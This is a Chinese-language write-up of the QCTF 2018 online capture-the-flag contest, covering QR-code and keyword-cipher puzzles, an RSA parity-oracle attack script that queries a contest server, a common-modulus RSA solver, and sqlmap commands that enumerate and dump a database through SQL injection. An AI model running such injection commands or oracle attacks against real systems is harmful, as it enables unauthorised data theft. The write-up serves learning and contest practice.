本次算是被QCTF打趴了,本来做题时间就少(公司无限开会,开了一天,伪借口),加上难度和脑洞的增大,导致这次QCTF又酱油了。。。就连最基本的签到题都没做出来。。。这就很气

好了,以下是解题思路

MISC

0x01 X-man-A face

下载附件,得到图片

简单拖进binwalk扫一下,无果,查看附件属性信息,无果。

最后尝试补全一下图中的二维码

打开画图工具,键盘拼接一下,得到

扫描图中二维码,居然可以扫出东西,得到

KFBVIRT3KBZGK5DUPFPVG2LTORSXEX2XNBXV6QTVPFZV6TLFL5GG6YTTORSXE7I=

base64走起,没用

那base32走起,得到flag:QCTF{Pretty_Sister_Who_Buys_Me_Lobster}

0x02 X-man-Keyword

签到题,下载图片得到

提取图片信息

PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}

根据提示,搜索置换密码等关键字,查到该加密方式是Nihilist加密。

简单说一下原理

原26个英文字母为ABCDEFGHIJKLMNOPQRSTUVWXYZ

把关键字提前后为LOVEKFCABDGHIJMNPQRSTUWXYZ

在置换后的序列里可以发现对应关系P=Q,V=C,S=T,F=F。。。。。

规律确认无误后,最后通过脚本解出

# coding=utf-
# author:
import string enc = 'PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}'
grid = 'LOVEKFC' + 'ABDGHIJMNPQRSTUWXY'
flag = '' for i in enc:
if i in string.ascii_lowercase:
index = grid.lower().index(i)
flag += string.ascii_lowercase[index]
continue
if i in string.ascii_uppercase:
index = grid.upper().index(i)
flag += string.ascii_uppercase[index]
continue
flag += i
print flag

Crypto

0x01 babyRSA

最开始以为是一道常规的RSA破解,直接丢进msieve和yafu,fatorydb等跑起来。。。

。。。

。。。

。。。

跑炸了都没出个有用的东西。。。

就此卡住,先nc 47.96.239.28 23333看看后面的题目

发现是提供一个密文,系统会返回even和odd

于是联想到最低有效位(LSB)oracle攻击 (后来才知道的。。。)

从出题大佬那里py到的提示:https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack

仍然看不懂。。。后来又找到了一个中文版:https://introspelliam.github.io/2018/03/27/crypto/RSA-Least-Significant-Bit-Oracle-Attack/

这里说一下我理解的大概原理:

如果我们已经知道公钥中N,e,c,那么我们就可以通过构造任意构造密文c1,即c1=(2**e mod n)*c,作为密文发送出去,根据返回此密文解密后p1的末尾某些比特位的性质(记为函数f),求得原始明文信息!

最简单的函数f 是表示 p 的奇偶性(即even和odd)。

若返回f(2P)

如果f(2P)f(2P) 返回的最后一位是0,那么2P<N2P<N,即P<N/2P<N/2

如果f(2P)f(2P) 返回的最后一位是1,那么2P>N2P>N,即 P>N/2P>N/2

接着我们来看看2P2P 和 4P4P

如果返回的是(偶,偶),那么有 P<N/4P<N/4

如果返回的是(偶,奇),那么有N/4<P<N/2N/4<P<N/2

如果返回的是(偶,奇),那么有N/2<P<3N/4N/2<P<3N/4

如果返回的是(奇,奇),那么有3N/4<P<N3N/4<P<N

结论就是

如果我们循环下去,基本上就可以得到P所处在的空间。当次数不断叠加,最终所处在的空间将会十分的小,于是就可以解出对应的解!

P∈[0,P] 也即LB=0, UB=N

使用log2 Nlog2 N 次可以根据密文C 求解出明文P

C′=(2e mod N)∗C

if (Oracle(C') == even):
UB = (UB + LB)/2;
else:
LB = (UB + LB)/2;

模仿了写法,求得LB

# coding=utf-8
# author:401219180
import binascii
import socket def getevenOrodd(c):
"""nc连接获取even or odd"""
adress = "47.96.239.28"
port = 23333
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((adress, int(port)))
s.recv(1024)
data = hex(c)[:-1] + "\n"
s.send(data)
codeindex = s.recv(1024)
s.shutdown(1)
s.close()
print codeindex
return codeindex def decrypt(n):
LB = 0
UB = n
e = 65537
c = int("0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15c77532964120ae11f8655b68a630607df0568a7439bc694486ae50b5c0c8507e5eecdea4654eeff3e75fb8396e505a36b0af40bd5011990663a7655b91c9e6ed2d770525e4698dec9455db17db38fa4b99b53438b9e09000187949327980ca903d0eef114afc42b771657ea5458a4cb399212e943d139b7ceb6d5721f546b75cd53d65e025f4df7eb8637152ecbb6725962c7f66b714556d754f41555c691a34a798515f1e2a69c129047cb29a9eef466c206a7f4dbc2cea1a46a39ad3349a7db56c1c997dc181b1afcb76fa1bbbf118a4ab5c515e274ab2250dba1872be0",16)
while LB != UB:
c1 = (pow(2, e, n) * c) % n
if getevenOrodd(c1)[:-1] == "even":
UB = (UB + LB) / 2
else:
LB = (UB + LB) / 2
c = c1
print LB n=int("0x0b765daa79117afe1a77da7ff8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bb0658707fe516967464439bdec2d6479fa3745f57c0a5ca255812f0884978b2a8aaeb750e0228cbe28a1e5a63bf0309b32a577eecea66f7610a9a4e720649129e9dc2115db9d4f34dc17f8b0806213c035e22f2c5054ae584b440def00afbccd458d020cae5fd1138be6507bc0b1a10da7e75def484c5fc1fcb13d11be691670cf38b487de9c4bde6c2c689be5adab08b486599b619a0790c0b2d70c9c461346966bcbae53c5007d0146fc520fa6e3106fbfc89905220778870a7119831c17f98628563ca020652d18d72203529a784ca73716db",16)
decrypt(n)

LB=560856645743734814774953158390773525781916094468093308691660509501812320

这里的LB也就是明文P(Plaintext)

最后int转ascii即可

LB = 560856645743734814774953158390773525781916094468093308691660509501812320
plaintext = binascii.unhexlify(hex(LB)[2:-1])
print(plaintext)
plaintext =QCTF{RSA_parity_oracle_is_fun`

0x02 Xman-RSA

下载题目附件得到

依次点开查看,分析

应该是从encryption.encrypyed入手

从原文可以看出,这个语法有点像python,可能是python源码被做了简单的移位加密,例如gqhb=from,adg=def,urtd64应该是base64。。。

这里应该不是凯撒加密,移位的数字是没有规律的,所以只能一点一点的摸索猜测密文和明文字母的对应关系,如果熟悉python,就能猜出

最后人工手写出解密脚本

cpdic = {
"a": "d", "d": "e", "g": "f", "q": "r", "h": "o", "b": "m", "u": "b", "r": "a", "t": "s", "p": "i", "k": "p",
"w": "t", "z": "u", "e": "n", "x": "c", "y": "l", "l": "y", "f": "w", "m": "h", "j": "g", "i": "x", "v": "k"
} f1 = open("C:\\Users\\fuzhi\\Desktop\\Downloads\\encryption.encrypted", "r") //本地文件
data1 = f1.read()
listdata1 = list(data1)
i = 0
for strindex in listdata1:
if strindex in cpdic:
listdata1[i] = cpdic[strindex]
i += 1 s = "".join(listdata1)
print s

还原出的encryption.encrypyed为

from gmpy2 import is_prime
from os import urandom
import base64 def bytes_to_num(b):
return int(b.encode('hex'), 16) def num_to_bytes(n):
b = hex(n)[2:-1]
b = '' + b if len(b)%2 == 1 else b
return b.decode('hex') def get_a_prime(l):
random_seed = urandom(l) num = bytes_to_num(random_seed) while True:
if is_prime(num):
break
num+=1
return num def encrypt(s, e, n):
p = bytes_to_num(s)
p = pow(p, e, n)
return num_to_bytes(p).encode('hex') def separate(n):
p = n % 4
t = (p*p) % 4
return t == 1 f = open('flag.txt', 'r')
flag = f.read() msg1 = ""
msg2 = ""
for i in range(len(flag)):
if separate(i):
msg2 += flag[i]
else:
msg1 += flag[i] p1 = get_a_prime(128)
p2 = get_a_prime(128)
p3 = get_a_prime(128)
n1 = p1*p2
n2 = p1*p3
e = 0x1001
c1 = encrypt(msg1, e, n1)
c2 = encrypt(msg2, e, n2)
print(c1)
print(c2) e1 = 0x1001
e2 = 0x101
p4 = get_a_prime(128)
p5 = get_a_prime(128)
n3 = p4*p5
c1 = num_to_bytes(pow(n1, e1, n3)).encode('hex')
c2 = num_to_bytes(pow(n1, e2, n3)).encode('hex')
print(c1)
print(c2) print(base64.b64encode(num_to_bytes(n2)))
print(base64.b64encode(num_to_bytes(n3)))

代码审计后,可以利用共模攻击求出n1,然后利用公约数求出p1,p2,p3,再求出d1,d2,从而解出msg1和msg2

解密源码为:

# coding=utf-8
# author:401219180 import base64
import binascii
import gmpy2 e = 0x1001
e1 = 0x1001
e2 = 0x101 n2cipertext = "PVNHb2BfGAnmxLrbKhgsYXRwWIL9eOj6K0s3I0slKHCTXTAUtZh3T0r+RoSlhpO3+77AY8P7WETYz2Jzuv5FV/mMODoFrM5fMyQsNt90VynR6J3Jv+fnPJPsm2hJ1Fqt7EKaVRwCbt6a4BdcRoHJsYN/+eh7k/X+FL5XM7viyvQxyFawQrhSV79FIoX6xfjtGW+uAeVF7DScRcl49dlwODhFD7SeLqzoYDJPIQS+VSb3YtvrDgdV+EhuS1bfWvkkXRijlJEpLrgWYmMdfsYX8u/+Ylf5xcBGn3hv1YhQrBCg77AHuUF2w/gJ/ADHFiMcH3ux3nqOsuwnbGSr7jA6Cw=="
n3cipertext = "TmNVbWUhCXR1od3gBpM+HGMKK/4ErfIKITxomQ/QmNCZlzmmsNyPXQBiMEeUB8udO7lWjQTYGjD6k21xjThHTNDG4z6C2cNNPz73VIaNTGz0hrh6CmqDowFbyrk+rv53QSkVKPa8EZnFKwGz9B3zXimm1D+01cov7V/ZDfrHrEjsDkgK4ZlrQxPpZAPl+yqGlRK8soBKhY/PF3/GjbquRYeYKbagpUmWOhLnF4/+DP33ve/EpaSAPirZXzf8hyatL4/5tAZ0uNq9W6T4GoMG+N7aS2GeyUA2sLJMHymW4cFK5l5kUvjslRdXOHTmz5eHxqIV6TmSBQRgovUijlNamQ==" n2hex = base64.b64decode(n2cipertext).encode("hex")
n3hex = base64.b64decode(n3cipertext).encode("hex") n3 = int(n3hex, 16)
n2 = int(n2hex, 16) n1ciper1hex = "2639c28e3609a4a8c953cca9c326e8e062756305ae8aee6efcd346458aade3ee8c2106ab9dfe5f470804f366af738aa493fd2dc26cb249a922e121287f3eddec0ed8dea89747dc57aed7cd2089d75c23a69bf601f490a64f73f6a583081ae3a7ed52238c13a95d3322065adba9053ee5b12f1de1873dbad9fbf4a50a2f58088df0fddfe2ed8ca1118c81268c8c0fd5572494276f4e48b5eb424f116e6f5e9d66da1b6b3a8f102539b690c1636e82906a46f3c5434d5b04ed7938861f8d453908970eccef07bf13f723d6fdd26a61be8b9462d0ddfbedc91886df194ea022e56c1780aa6c76b9f1c7d5ea743dc75cec3c805324e90ea577fa396a1effdafa3090"
n1ciper2hex = "42ff1157363d9cd10da64eb4382b6457ebb740dbef40ade9b24a174d0145adaa0115d86aa2fc2a41257f2b62486eaebb655925dac78dd8d13ab405aef5b8b8f9830094c712193500db49fb801e1368c73f88f6d8533c99c8e7259f8b9d1c926c47215ed327114f235ba8c873af7a0052aa2d32c52880db55c5615e5a1793b690c37efdd5e503f717bb8de716303e4d6c4116f62d81be852c5d36ef282a958d8c82cf3b458dcc8191dcc7b490f227d1562b1d57fbcf7bf4b78a5d90cd385fd79c8ca4688e7d62b3204aeaf9692ba4d4e44875eaa63642775846434f9ce51d138ca702d907849823b1e86896e4ea6223f93fae68b026cfe5fa5a665569a9e3948a" n1ciper1 = int(n1ciper1hex, 16)
n1ciper2 = int(n1ciper2hex, 16) # 共模攻击
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
s = -s
n1ciper1 = gmpy2.invert(n1ciper1, n3)
if t < 0:
t = -t
n1ciper2 = gmpy2.invert(n1ciper2, n3)
n1 = gmpy2.powmod(n1ciper1, s, n3) * gmpy2.powmod(n1ciper2, t, n3) % n3
print n1 """
因为
n1 = p1 * p2
n2 = p1 * p3
可求得公约数p1,然后依次解出p2,p3
"""
p1 = gmpy2.gcd(n1, n2)
p2 = n1 / p1
p3 = n2 / p1 # 解出d1,d2
d1 = gmpy2.invert(e, (p1 - 1) * (p2 - 1))
d2 = gmpy2.invert(e, (p1 - 1) * (p3 - 1)) c1hex = "1240198b148089290e375b999569f0d53c32d356b2e95f5acee070f016b3bef243d0b5e46d9ad7aa7dfe2f21bda920d0ac7ce7b1e48f22b2de410c6f391ce7c4347c65ffc9704ecb3068005e9f35cbbb7b27e0f7a18f4f42ae572d77aaa3ee189418d6a07bab7d93beaa365c98349d8599eb68d21313795f380f05f5b3dfdc6272635ede1f83d308c0fdb2baf444b9ee138132d0d532c3c7e60efb25b9bf9cb62dba9833aa3706344229bd6045f0877661a073b6deef2763452d0ad7ab3404ba494b93fd6dfdf4c28e4fe83a72884a99ddf15ca030ace978f2da87b79b4f504f1d15b5b96c654f6cd5179b72ed5f84d3a16a8f0d5bf6774e7fd98d27bf3c9839"
c2hex = "129d5d4ab3f9e8017d4e6761702467bbeb1b884b6c4f8ff397d078a8c41186a3d52977fa2307d5b6a0ad01fedfc3ba7b70f776ba3790a43444fb954e5afd64b1a3abeb6507cf70a5eb44678a886adf81cb4848a35afb4db7cd7818f566c7e6e2911f5ababdbdd2d4ff9825827e58d48d5466e021a64599b3e867840c07e29582961f81643df07f678a61a9f9027ebd34094e272dfbdc4619fa0ac60f0189af785df77e7ec784e086cf692a7bf7113a7fb8446a65efa8b431c6f72c14bcfa49c9b491fb1d87f2570059e0f13166a85bb555b40549f45f04bc5dbd09d8b858a5382be6497d88197ffb86381085756365bd757ec3cdfa8a77ba1728ec2de596c5ab" c1 = int(c1hex, 16)
c2 = int(c2hex, 16) msg1 = pow(c1, d1, n1)
msg2 = pow(c2, d2, n2) print msg1
print msg2

求得msg1和msg2后,转成ascii,然后拼接即可

plantext1 = binascii.unhexlify(hex(msg1)[2:])
plantext2 = binascii.unhexlify(hex(msg2)[2:]) flag = ""for i in range(len(plantext1) - 1):
flag += (plantext1[i] + plantext2[i])
print flag

flag:XMAN{CRYPT0_I5_50_Interestingvim rsa.py}

WEB

0x01 NewsCenter

打开网页来到

通过简单的输入调试,感觉应该是考察sql注入

于是sqlmap一把梭

爆库python sqlmap.py -u "http://47.96.118.255:33066/" --data="search=1" --current-db

爆表python sqlmap.py -u "http://47.96.118.255:33066/" --data="search=1" -D news --tables

爆字段python sqlmap.py -u "http://47.96.118.255:33066/" --data="search=1" -D news -T secret_table --columns

爆值python sqlmap.py -u "http://47.96.118.255:33066/" --data="search=1" -D news -T secret_table -C "fl4g,id" --dump


QCTF 2018线上赛 writeup的更多相关文章

  1. ISCC 2018线上赛 writeup

    今天有机会去ISCC2018参加了比赛,个人的感受是比赛题目整体难度不高,就是脑洞特别大,flag形式不明确,拿到flag后也要猜测flag格式,贼坑 废话不多说,以下是本人的解题思路 MISC 0x ...

  2. DDCTF 2018线上赛writeup

    第一题: d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9b2b2e1e2b9b9b7b4e1b4b7e3e ...

  3. RCTF 2018线上赛 writeup

    苦逼的RCTF,只进行了两天,刚好第二天是5.20,出去xxx了,没法打比赛,难受.比赛结束了,还不准继续提交flag进行正确校验了,更难受. 下面是本次ctf解题思路流程 后面我解出的题会陆续更新上 ...

  4. 2019第十二届全国大学生信息安全实践创新赛线上赛Writeup

    本文章来自https://www.cnblogs.com/iAmSoScArEd/p/10780242.html  未经允许不得转载! 1.MISC-签到 下载附件后,看到readme.txt打开后提 ...

  5. 2018 ACM-ICPC 中国大学生程序设计竞赛线上赛 H题 Rock Paper Scissors Lizard Spock.(FFT字符串匹配)

    2018 ACM-ICPC 中国大学生程序设计竞赛线上赛:https://www.jisuanke.com/contest/1227 题目链接:https://nanti.jisuanke.com/t ...

  6. 2018 ACM-ICPC 中国大学生程序设计竞赛线上赛 F题 Clever King(最小割)

    2018 ACM-ICPC 中国大学生程序设计竞赛线上赛:https://www.jisuanke.com/contest/1227 题目链接:https://nanti.jisuanke.com/t ...

  7. “玲珑杯”线上赛 Round #17 河南专场

    闲来无事呆在寝室打打题,没有想到还有中奖这种操作,超开心的 玲珑杯”线上赛 Round #17 河南专场 Start Time:2017-06-24 12:00:00 End Time:2017-06 ...

  8. 计蒜客 25985.Goldbach-米勒拉宾素数判定(大素数) (2018 ACM-ICPC 中国大学生程序设计竞赛线上赛 B)

    若干年之前的一道题,当时能写出来还是超级开心的,虽然是个板子题.一直忘记写博客,备忘一下. 米勒拉判大素数,关于米勒拉宾是个什么东西,传送门了解一下:biubiubiu~ B. Goldbach 题目 ...

  9. 20190815网络与信息安全领域专项赛线上赛misc WriteUp

    目录 签到题 题目内容 使用工具 解题步骤 七代目 题目下载地址 使用工具 解题步骤 亚萨西 题目下载链接 使用工具 解题步骤 24word 题目下载链接 使用工具 解题步骤 感想 几星期前报了名却完 ...

随机推荐

  1. 【ES6】更易于继承的类语法

    和其它面向对象编程语言一样,ES6 正式定义了 class 类以及 extend 继承语法糖,并且支持静态.派生.抽象.迭代.单例等,而且根据 ES6 的新特性衍生出很多有趣的用法. 一.类的基本定义 ...

  2. 在VS2015中的SDL2.0开发环境搭建

    写本文的目的在于使用网络上的教程及官方的教程(如:http://www.willusher.io/sdl2%20tutorials/2013/08/15/lesson-0-visual-studio) ...

  3. Mac OS X 下查看和设置JAVA_HOME

    原文链接 : http://blog.csdn.net/done58/article/details/51138057 1, 查看Java版本 打开Mac电脑,查看JAVA版本,打开终端Termina ...

  4. matlab的调试

    MATLAB(1)——基本调试方法(Debug)           链接:http://www.cnblogs.com/xingshansi/articles/6477185.html 前言 之前经 ...

  5. linux应用之开机自启动方法总结

    1.把启动程序的命令添加到/etc/rc.d/rc.local文件中 CentOS系统下管理开机自启动的配置文件是/etc/rc.d/rc.local,所以只需编辑这个文件,在里面加入相应的启动命令即 ...

  6. elasticsearch-installation

    1. 安装Java JDK 移步 :sdfa 2. 下载elasticsearch url : https://artifacts.elastic.co/downloads/elasticsearch ...

  7. Java之动态代理简介

    图截于<大话设计模式> Proxy模式是常用的设计模式,其特征是代理类与委托类有同样的接口,代理类主要负责为委托类预处理消息.过滤消息.把消息转发给委托类,以及事后处理消息等. 用户可以更 ...

  8. python 多模块文件共享变量

    Python import 包的机制是,import进来的和默认的系统的module了,都放在sys.module这个字典里面. 多个py文件再次import的时候,会先去sys.module里面检查 ...

  9. BZOJ_3529_[Sdoi2014]数表_莫比乌斯反演+树状数组

    Description 有一张 n×m 的数表,其第 i 行第 j 列(1 <= i <= n, 1 <= j <= m)的数值为 能同时整除 i 和 j 的所有自然数之和.给 ...

  10. BZOJ 1567: [JSOI2008]Blue Mary的战役地图

    1567: [JSOI2008]Blue Mary的战役地图 Time Limit: 10 Sec  Memory Limit: 162 MBSubmit: 1011  Solved: 578[Sub ...